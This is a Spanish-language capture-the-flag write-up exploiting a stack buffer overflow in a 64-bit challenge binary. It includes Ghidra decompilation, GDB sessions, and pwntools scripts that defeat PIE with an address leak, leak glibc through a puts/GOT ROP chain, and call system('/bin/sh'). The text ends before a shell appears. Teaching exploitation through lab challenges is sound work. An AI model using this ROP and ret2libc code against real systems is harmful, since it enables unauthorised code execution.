Space pirate: Retribution
13 minutos de lectura
Se nos proporciona un binario de 64 bits llamado sp_retribution
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Ingeniería inversa
Si abrimos el binario en Ghidra veremos esta función main
:
void main() {
char local_b[3];
setup();
banner();
while (true) {
while (true) {
printf(&DAT_00101f68, &DAT_00100d78);
read(0, local_b, 2);
if (local_b[0] != '1') break;
show_missiles();
}
if (local_b[0] != '2') break;
missile_launcher();
}
printf("\n%s[-] Invalid option! Exiting..\n\n", &DAT_00100d70);
/* WARNING: Subroutine does not return */
exit(0x520);
}
Básicamente, tenemos dos opciones:
$ ./sp_retribution
Missile Launcher!
░
░ ░
▓▓ ░
▓▓▓▓▓▓ ▒
▒ ▒ ▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓ ░
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░
▓▓▓▓▓▓▒▒░▒░▒░▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▒▒ ░░▓▓▓▓▓▓▓▓▓▓▓▓▓
▒▓▓▓▓▓▓▓▒ ░░▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▒▒ ░▓▓▓▓▓▓▓▓▓▓
▒▓▓▓▓▓▓▓▓▓▓▒ ░▓▓▓▓▓▓▓▓▓
░ ▓▓▓▓▓▓▓▓▓▓▓▓▒░░ ░░░▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒ ▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▒ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
░ ▓▓ ▓▓▓▓▓▓▓▓▓▓
▓ ▒░ ▓▓▓▓▓▓▓▓
░▒▒ ▓ ▓▓▓▓▓ ▒ ▒
░▒▒ ▓
▒▒▒ ▒▒
░▒▒░ ▒▒░ ░
░▒▒░ ░▒▒▒░ ░
░▒▒▒▒▒▒▒▒░ ▒
▒▒▒▒▒▒▒░
░▒▒▒▒
░░ ▒
1. Show missiles 🚀
2. Change target's location 🎯
>>
La primers es show_missiles
:
void show_missiles() {
printf("%s\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n", &DAT_00100d60);
puts(&DAT_00101dc3);
printf(&DAT_00101ddb, &DAT_00100d70, &DAT_00100d58, &DAT_00100d60);
printf(&DAT_00101e00, &DAT_00100d70, &DAT_00100d58, &DAT_00100d60);
printf(&DAT_00101e28, &DAT_00100d70, &DAT_00100d58, &DAT_00100d68, &DAT_00100d60);
puts("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=");
puts(&DAT_00101e90);
printf(&DAT_00101eb0, &DAT_00100d70, &DAT_00100d58, &DAT_00100d68, &DAT_00100d60);
printf(&DAT_00101ee0, &DAT_00100d70, &DAT_00100d58, &DAT_00100d68, &DAT_00100d60);
printf(&DAT_00101f0c, &DAT_00100d70, &DAT_00100d60);
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n%s", &DAT_00100d78);
}
Esta función es inútil, ya que no hay entrada de usuario y todas las strings impresas son estáticas:
$ ./sp_retribution
Missile Launcher!
░
░ ░
▓▓ ░
▓▓▓▓▓▓ ▒
▒ ▒ ▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓ ░
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░
▓▓▓▓▓▓▒▒░▒░▒░▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▒▒ ░░▓▓▓▓▓▓▓▓▓▓▓▓▓
▒▓▓▓▓▓▓▓▒ ░░▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▒▒ ░▓▓▓▓▓▓▓▓▓▓
▒▓▓▓▓▓▓▓▓▓▓▒ ░▓▓▓▓▓▓▓▓▓
░ ▓▓▓▓▓▓▓▓▓▓▓▓▒░░ ░░░▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒ ▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▒ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
░ ▓▓ ▓▓▓▓▓▓▓▓▓▓
▓ ▒░ ▓▓▓▓▓▓▓▓
░▒▒ ▓ ▓▓▓▓▓ ▒ ▒
░▒▒ ▓
▒▒▒ ▒▒
░▒▒░ ▒▒░ ░
░▒▒░ ░▒▒▒░ ░
░▒▒▒▒▒▒▒▒░ ▒
▒▒▒▒▒▒▒░
░▒▒▒▒
░░ ▒
1. Show missiles 🚀
2. Change target's location 🎯
>> 1
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Missile #1 stats: 🚀
[Power]: ▋▋▋▋
[Range]: ▋▋▋▋▋
[Speed]: ▋▋▋▋▋▋▋▋
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Missile #2 stats: ☄️
[Power]: ▋▋▋▋▋▋▋▋▋
[Range]: ▋▋▋▋▋▋▋▋
[Speed]: ▋▋
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
1. Show missiles 🚀
2. Change target's location 🎯
>>
Así que vamos a analizar missile_launcher
:
void missile_launcher() {
char verify [32];
char coord [32];
printf("\n[*] Current target\'s coordinates: x = [0x%lx], y = [0x%lx]\n\n[*] Insert new coordinates: x = [0x%lx], y = ", 0x53e5854620fb399f, 0x576b96b95df201f9, 0x53e5854620fb399f);
verify._0_8_ = 0;
verify._8_8_ = 0;
verify._16_8_ = 0;
verify._24_8_ = 0;
read(0, coord, 31);
printf("\n[*] New coordinates: x = [0x53e5854620fb399f], y = %s\n[*] Verify new coordinates? (y/n): ", coord);
read(0, verify, 132);
printf("\n%s[-] Permission Denied! You need flag.txt in order to proceed. Coordinates have been reset!%s\n", &DAT_00100d70, &DAT_00100d78);
}
Vulnerabilidad de Buffer Overflow
El binario es vulnerable a Buffer Overflow porque la variable llamada verify
tiene 32 bytes asignados como buffer, pero el programa está leyendo hasta 132 bytes de stdin
y guardando los datos en verify
, desbordando el buffer reservado si el tamaño de los datos de entrada es mayor que 32 bytes.
Podemos comprobar que se rompe el programa:
$ ./sp_retribution
Missile Launcher!
░
░ ░
▓▓ ░
▓▓▓▓▓▓ ▒
▒ ▒ ▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓ ░
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░
▓▓▓▓▓▓▒▒░▒░▒░▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▒▒ ░░▓▓▓▓▓▓▓▓▓▓▓▓▓
▒▓▓▓▓▓▓▓▒ ░░▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▒▒ ░▓▓▓▓▓▓▓▓▓▓
▒▓▓▓▓▓▓▓▓▓▓▒ ░▓▓▓▓▓▓▓▓▓
░ ▓▓▓▓▓▓▓▓▓▓▓▓▒░░ ░░░▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒ ▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▒ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
░ ▓▓ ▓▓▓▓▓▓▓▓▓▓
▓ ▒░ ▓▓▓▓▓▓▓▓
░▒▒ ▓ ▓▓▓▓▓ ▒ ▒
░▒▒ ▓
▒▒▒ ▒▒
░▒▒░ ▒▒░ ░
░▒▒░ ░▒▒▒░ ░
░▒▒▒▒▒▒▒▒░ ▒
▒▒▒▒▒▒▒░
░▒▒▒▒
░░ ▒
1. Show missiles 🚀
2. Change target's location 🎯
>> 2
[*] Current target's coordinates: x = [0x53e5854620fb399f], y = [0x576b96b95df201f9]
[*] Insert new coordinates: x = [0x53e5854620fb399f], y = asdf
[*] New coordinates: x = [0x53e5854620fb399f], y = asdf
U
[*] Verify new coordinates? (y/n): AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[-] Permission Denied! You need flag.txt in order to proceed. Coordinates have been reset!
zsh: segmentation fault (core dumped) ./sp_retribution
El programa se rompe porque cuando el programa quiere retornar de missile_launcher
, la dirección de retorno guardada en la pila ha sido sobrescrita con 0x4141414141414141
(nuestros datos de entrada). Como no es una dirección de memoria válida, el programa simplemente se rompe (violación de segmento o segmentation fault).
Estrategia de explotación
Como el binario tiene protección NX, tenemos que utilizar Return Oriented Programming (ROP) para ejecutar código arbitrario. Esta técnica hace uso de gadgets, que son conjuntos de intrucciones que terminan en ret
(normalmente). Podemos añadir una lista de direcciones de gadgets en la pila para que cuando un gadget se ejecute, vuelva a la pila y se ejecute el siguiente gadget. De ahí el nombre de ROP chain.
Esto es un bypass de la protección NX, ya que no estamos ejecutando instrucciones en la pila (shellcode), sino que estamos redirigiendo el programa a direcciones específicas que son ejecutables y que contienen las instrucciones que queremos.
Para conseguir ejecución de comandos, usaremos un ataque ret2libc. Esta técnica consiste en llamar a system
en Glibc usando "/bin/sh"
como primer argumento a la función (que también se encuentra en Glibc). El problema que tenemos que solucionar es ASLR, que es una protección habilitada en librerías compartidas para aleatorizar una dirección base.
Como tenemos que llamar a system
y usar "/bin/sh"
, tenemos que saber las direcciones de dichos valores en Glibc en tiempo de ejecución (estas direcciones serán diferentes en cada ejecución). Por tanto, tenemos que encontrar una manera de fugar una dirección de Glibc porque lo único que es aleatorio es la dirección base de Glibc; el resto de las direcciones se calculan mediante offsets a dicha dirección base.
Como el binario tiene PIE habilitado, necesitamos fugar una dirección del binario en tiempo de ejecución y calcular la dirección base usando offsets.
El proceso de fuga de una función involucra llamar a puts
con una dirección de la Tabla de Offsets Globales (Global Offset Table, GOT) como primer argumento (por ejemplo, la misma función puts
). Esta tabla contiene las direcciones reales de las funciones externas usadas por el programa (si han sido resueltas previamente). Como puts
se utiliza en el binario, para llamarla, solamente tenemos que usar la Tabla de Enlaces a Procedimentos (Procedure Linkage Table, PLT), que aplica un salto a la dirección real de puts
.
Otra consideración es el uso de gadgets. Debido a la convención de llamadas a funciones en binarios de 64 bits, los argumentos de las funciones van en los registros (en orden: $rdi
, $rsi
, $rdx
, $rcx
…). Por ejemplo, la instrucción pop rdi
tomará el siguiente valor de la pila lo lo guardará en $rdi
.
Desarrollo del exploit
Bien, comencemos con el proceso de fuga. En primer lugar, filtremos una dirección del binario. Lo mejor es ejecutar GDB y echar un vistazo a la variable coord
antes de escribir, porque se imprime justo después. Además, en la salida anterior, ingresamos asdf
como coord
y el programa mostró U
.
$ gdb -q sp_retribution
Reading symbols from sp_retribution...
(No debugging symbols found in sp_retribution)
gef➤ disassemble missile_launcher
Dump of assembler code for function missile_launcher:
0x0000000000000a22 <+0>: push rbp
0x0000000000000a23 <+1>: mov rbp,rsp
0x0000000000000a26 <+4>: sub rsp,0x50
0x0000000000000a2a <+8>: movabs rax,0x53e5854620fb399f
0x0000000000000a34 <+18>: mov QWORD PTR [rbp-0x8],rax
0x0000000000000a38 <+22>: movabs rax,0x576b96b95df201f9
0x0000000000000a42 <+32>: mov QWORD PTR [rbp-0x10],rax
0x0000000000000a46 <+36>: mov rcx,QWORD PTR [rbp-0x8]
0x0000000000000a4a <+40>: mov rdx,QWORD PTR [rbp-0x10]
0x0000000000000a4e <+44>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000000a52 <+48>: mov rsi,rax
0x0000000000000a55 <+51>: lea rdi,[rip+0x11f4] # 0x1c50
0x0000000000000a5c <+58>: mov eax,0x0
0x0000000000000a61 <+63>: call 0x770 <printf@plt>
0x0000000000000a66 <+68>: mov QWORD PTR [rbp-0x50],0x0
0x0000000000000a6e <+76>: mov QWORD PTR [rbp-0x48],0x0
0x0000000000000a76 <+84>: mov QWORD PTR [rbp-0x40],0x0
0x0000000000000a7e <+92>: mov QWORD PTR [rbp-0x38],0x0
0x0000000000000a86 <+100>: lea rax,[rbp-0x30]
0x0000000000000a8a <+104>: mov edx,0x1f
0x0000000000000a8f <+109>: mov rsi,rax
0x0000000000000a92 <+112>: mov edi,0x0
0x0000000000000a97 <+117>: call 0x790 <read@plt>
0x0000000000000a9c <+122>: lea rax,[rbp-0x30]
0x0000000000000aa0 <+126>: mov rsi,rax
0x0000000000000aa3 <+129>: lea rdi,[rip+0x1216] # 0x1cc0
0x0000000000000aaa <+136>: mov eax,0x0
0x0000000000000aaf <+141>: call 0x770 <printf@plt>
0x0000000000000ab4 <+146>: lea rax,[rbp-0x50]
0x0000000000000ab8 <+150>: mov edx,0x84
0x0000000000000abd <+155>: mov rsi,rax
0x0000000000000ac0 <+158>: mov edi,0x0
0x0000000000000ac5 <+163>: call 0x790 <read@plt>
0x0000000000000aca <+168>: lea rdx,[rip+0x2a7] # 0xd78
0x0000000000000ad1 <+175>: lea rsi,[rip+0x298] # 0xd70
0x0000000000000ad8 <+182>: lea rdi,[rip+0x1241] # 0x1d20
0x0000000000000adf <+189>: mov eax,0x0
0x0000000000000ae4 <+194>: call 0x770 <printf@plt>
0x0000000000000ae9 <+199>: nop
0x0000000000000aea <+200>: leave
0x0000000000000aeb <+201>: ret
End of assembler dump.
gef➤ break *missile_launcher+117
Breakpoint 1 at 0xa97
gef➤ run
Starting program: ./sp_retribution
warning: the debug information found in "./glibc/ld-2.23.so" does not match "./glibc/ld-linux-x86-64.so.2" (CRC mismatch).
warning: the debug information found in "./glibc/libc-2.23.so" does not match "./glibc/libc.so.6" (CRC mismatch).
Missile Launcher!
░
░ ░
▓▓ ░
▓▓▓▓▓▓ ▒
▒ ▒ ▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓ ░
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░
▓▓▓▓▓▓▒▒░▒░▒░▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▒▒ ░░▓▓▓▓▓▓▓▓▓▓▓▓▓
▒▓▓▓▓▓▓▓▒ ░░▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▒▒ ░▓▓▓▓▓▓▓▓▓▓
▒▓▓▓▓▓▓▓▓▓▓▒ ░▓▓▓▓▓▓▓▓▓
░ ▓▓▓▓▓▓▓▓▓▓▓▓▒░░ ░░░▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒ ▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▒ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
░ ▓▓ ▓▓▓▓▓▓▓▓▓▓
▓ ▒░ ▓▓▓▓▓▓▓▓
░▒▒ ▓ ▓▓▓▓▓ ▒ ▒
░▒▒ ▓
▒▒▒ ▒▒
░▒▒░ ▒▒░ ░
░▒▒░ ░▒▒▒░ ░
░▒▒▒▒▒▒▒▒░ ▒
▒▒▒▒▒▒▒░
░▒▒▒▒
░░ ▒
1. Show missiles 🚀
2. Change target's location 🎯
>> 2
[*] Current target's coordinates: x = [0x53e5854620fb399f], y = [0x576b96b95df201f9]
[*] Insert new coordinates: x = [0x53e5854620fb399f], y =
Breakpoint 1, 0x0000555555400a97 in missile_launcher ()
Ahora, el programa se detiene en read(0, coord, 31)
. El segundo argumento (coord
) se almacena en $rsi
, examinemos la memoria:
gef➤ x/i $rip
=> 0x555555400a97 <missile_launcher+117>: call 0x555555400790 <read@plt>
gef➤ x/8gx $rsi
0x7fffffffe590: 0x0000555555400d68 0x0000555555400d70
0x7fffffffe5a0: 0x0000555555400d78 0x0000555555400d80
0x7fffffffe5b0: 0x576b96b95df201f9 0x53e5854620fb399f
0x7fffffffe5c0: 0x00007fffffffe5e0 0x0000555555400c9d
Otra forma de visualizar el contenido de la memoria es usar hexdump
:
gef➤ hexdump byte $rsi
0x00007fffffffe590 68 0d 40 55 55 55 00 00 70 0d 40 55 55 55 00 00 h.@UUU..p.@UUU..
0x00007fffffffe5a0 78 0d 40 55 55 55 00 00 80 0d 40 55 55 55 00 00 x.@UUU....@UUU..
0x00007fffffffe5b0 f9 01 f2 5d b9 96 6b 57 9f 39 fb 20 46 85 e5 53 ...]..kW.9. F..S
0x00007fffffffe5c0 e0 e5 ff ff ff 7f 00 00 9d 0c 40 55 55 55 00 00 ..........@UUU..
Bypass de PIE
El problema es que todos los valores que comienzan por 0x00005555555
son direcciones del binario:
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00555555400000 0x00555555403000 0x00000000000000 r-x ./sp_retribution
0x00555555602000 0x00555555603000 0x00000000002000 r-- ./sp_retribution
0x00555555603000 0x00555555604000 0x00000000003000 rw- ./sp_retribution
0x007ffff7a0d000 0x007ffff7bcd000 0x00000000000000 r-x ./glibc/libc.so.6
0x007ffff7bcd000 0x007ffff7dcd000 0x000000001c0000 --- ./glibc/libc.so.6
0x007ffff7dcd000 0x007ffff7dd1000 0x000000001c0000 r-- ./glibc/libc.so.6
0x007ffff7dd1000 0x007ffff7dd3000 0x000000001c4000 rw- ./glibc/libc.so.6
0x007ffff7dd3000 0x007ffff7dd7000 0x00000000000000 rw-
0x007ffff7dd7000 0x007ffff7dfd000 0x00000000000000 r-x ./glibc/ld-linux-x86-64.so.2
0x007ffff7ff3000 0x007ffff7ff6000 0x00000000000000 rw-
0x007ffff7ff6000 0x007ffff7ffa000 0x00000000000000 r-- [vvar]
0x007ffff7ffa000 0x007ffff7ffc000 0x00000000000000 r-x [vdso]
0x007ffff7ffc000 0x007ffff7ffd000 0x00000000025000 r-- ./glibc/ld-linux-x86-64.so.2
0x007ffff7ffd000 0x007ffff7ffe000 0x00000000026000 rw- ./glibc/ld-linux-x86-64.so.2
0x007ffff7ffe000 0x007ffff7fff000 0x00000000000000 rw-
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x00000000000000 --x [vsyscall]
Dado que las strings en C terminan en un byte nulo, si ingresamos exactamente 8 bytes, veremos esos 8 bytes más la dirección de memoria 0x0000555555400d70
. Vamos a verlo:
gef➤ continue
Continuing.
AAAAAAA
[*] New coordinates: x = [0x53e5854620fb399f], y = AAAAAAA
@UUU
[*] Verify new coordinates? (y/n):
Ahí está, ese @UUU
es nuestro leak de memoria del binario para vencer PIE. Usemos este script de Python para extraer el valor:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('sp_retribution')
glibc = ELF('glibc/libc.so.6', checksec=False)
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1].split(':')
return remote(host, int(port))
def main():
p = get_process()
p.sendlineafter(b'>> ', b'2')
p.recvuntil(b'[*] Insert new coordinates:')
p.sendlineafter(b'y = ', b'AAAAAAA')
p.recvuntil(b'y = AAAAAAA\n')
leak = u64(p.recvline().strip().ljust(8, b'\0'))
elf.address = leak - 0xd70
log.success(f'ELF base address: {hex(elf.address)}')
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './sp_retribution'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './sp_retribution': pid 2455843
[+] ELF base address: -0xd00
[*] Switching to interactive mode
[*] Verify new coordinates? (y/n): $
Obsérvese que hemos restado 0xd70
para obtener la dirección base del binario, que se ve que es correcto ya que termina en 000
en hexadecimal.
Fugando direcciones de Glibc
En este punto, podemos usar gadgets ROP del binario, ya que podemos calcular las direcciones en tiempo de ejecución.
En primer lugar, descubramos el offset necesario para controlar la dirección de retorno:
$ gdb -q sp_retribution
Reading symbols from sp_retribution...
(No debugging symbols found in sp_retribution)
gef➤ pattern create 300
[+] Generating a pattern of 300 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaa
abfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./sp_retribution
warning: the debug information found in "./glibc/ld-2.23.so" does not match "./glibc/ld-linux-x86-64.so.2" (CRC mismatch).
warning: the debug information found in "./glibc/libc-2.23.so" does not match "./glibc/libc.so.6" (CRC mismatch).
Missile Launcher!
░
░ ░
▓▓ ░
▓▓▓▓▓▓ ▒
▒ ▒ ▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓ ░
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░
▓▓▓▓▓▓▒▒░▒░▒░▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▒▒ ░░▓▓▓▓▓▓▓▓▓▓▓▓▓
▒▓▓▓▓▓▓▓▒ ░░▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▒▒ ░▓▓▓▓▓▓▓▓▓▓
▒▓▓▓▓▓▓▓▓▓▓▒ ░▓▓▓▓▓▓▓▓▓
░ ▓▓▓▓▓▓▓▓▓▓▓▓▒░░ ░░░▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒ ▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▒ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
░ ▓▓ ▓▓▓▓▓▓▓▓▓▓
▓ ▒░ ▓▓▓▓▓▓▓▓
░▒▒ ▓ ▓▓▓▓▓ ▒ ▒
░▒▒ ▓
▒▒▒ ▒▒
░▒▒░ ▒▒░ ░
░▒▒░ ░▒▒▒░ ░
░▒▒▒▒▒▒▒▒░ ▒
▒▒▒▒▒▒▒░
░▒▒▒▒
░░ ▒
1. Show missiles 🚀
2. Change target's location 🎯
>> 2
[*] Current target's coordinates: x = [0x53e5854620fb399f], y = [0x576b96b95df201f9]
[*] Insert new coordinates: x = [0x53e5854620fb399f], y = asdf
[*] New coordinates: x = [0x53e5854620fb399f], y = asdf
U
[*] Verify new coordinates? (y/n): aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaa
aaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
[-] Permission Denied! You need flag.txt in order to proceed. Coordinates have been reset!
Program received signal SIGSEGV, Segmentation fault.
0x0000555555400aeb in missile_launcher ()
gef➤ pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 88 (little-endian search) likely
[+] Found at offset 81 (big-endian search)
Vale, 88 bytes. El siguiente procedimiento es bastante estándar en los retos de tipo ret2libc, aquí hay algunos write-ups con una explicación más detallada: Here’s a LIBC, Shooting Star y Notepad as a Service.
Este es el payload:
rop = ROP(elf)
offset = 88
junk = b'A' * offset
payload = junk
payload += p64(rop.rdi[0])
payload += p64(elf.got.puts)
payload += p64(elf.plt.puts)
payload += p64(elf.sym.main)
p.sendlineafter(b'[*] Verify new coordinates? (y/n): ', payload)
p.recvline()
p.recvline()
puts_addr = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Leaked puts() address: {hex(puts_addr)}')
glibc.address = puts_addr - glibc.sym.puts
log.success(f'Glibc base address: {hex(glibc.address)}')
p.interactive()
En este punto, debemos obtener la dirección base de Glibc y retornar al main
:
$ python3 solve.py
[*] './sp_retribution'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './sp_retribution': pid 2465010
[+] ELF base address: 0x56159d600000
[*] Loaded 14 cached gadgets for 'sp_retribution'
[*] Leaked puts() address: 0x7f272d8096a0
[+] Glibc base address: 0x7f272d79a000
[*] Switching to interactive mode
Missile Launcher!
░
░ ░
▓▓ ░
▓▓▓▓▓▓ ▒
▒ ▒ ▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓ ░
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░
▓▓▓▓▓▓▒▒░▒░▒░▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▒▒ ░░▓▓▓▓▓▓▓▓▓▓▓▓▓
▒▓▓▓▓▓▓▓▒ ░░▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▒▒ ░▓▓▓▓▓▓▓▓▓▓
▒▓▓▓▓▓▓▓▓▓▓▒ ░▓▓▓▓▓▓▓▓▓
░ ▓▓▓▓▓▓▓▓▓▓▓▓▒░░ ░░░▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒ ▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▒ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
░ ▓▓ ▓▓▓▓▓▓▓▓▓▓
▓ ▒░ ▓▓▓▓▓▓▓▓
░▒▒ ▓ ▓▓▓▓▓ ▒ ▒
░▒▒ ▓
▒▒▒ ▒▒
░▒▒░ ▒▒░ ░
░▒▒░ ░▒▒▒░ ░
░▒▒▒▒▒▒▒▒░ ▒
▒▒▒▒▒▒▒░
░▒▒▒▒
░░ ▒
1. Show missiles 🚀
2. Change target's location 🎯
>> $
Obteniendo RCE
Ahora podemos efectuar el ataque ret2libc llamando a system("/bin/sh")
:
payload = junk
payload += p64(rop.rdi[0])
payload += p64(next(glibc.search(b'/bin/sh')))
payload += p64(glibc.sym.system)
p.sendlineafter(b'>> ', b'2')
p.recvuntil(b'[*] Insert new coordinates:')
p.sendlineafter(b'y = ', b'AAAAAAA')
p.sendlineafter(b'[*] Verify new coordinates? (y/n): ', payload)
p.recv()
p.interactive()
$ python3 solve.py
[*] './sp_retribution'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './sp_retribution': pid 2467854
[+] ELF base address: 0x563151200000
[*] Loaded 14 cached gadgets for 'sp_retribution'
[*] Leaked puts() address: 0x7f4451cef6a0
[+] Glibc base address: 0x7f4451c80000
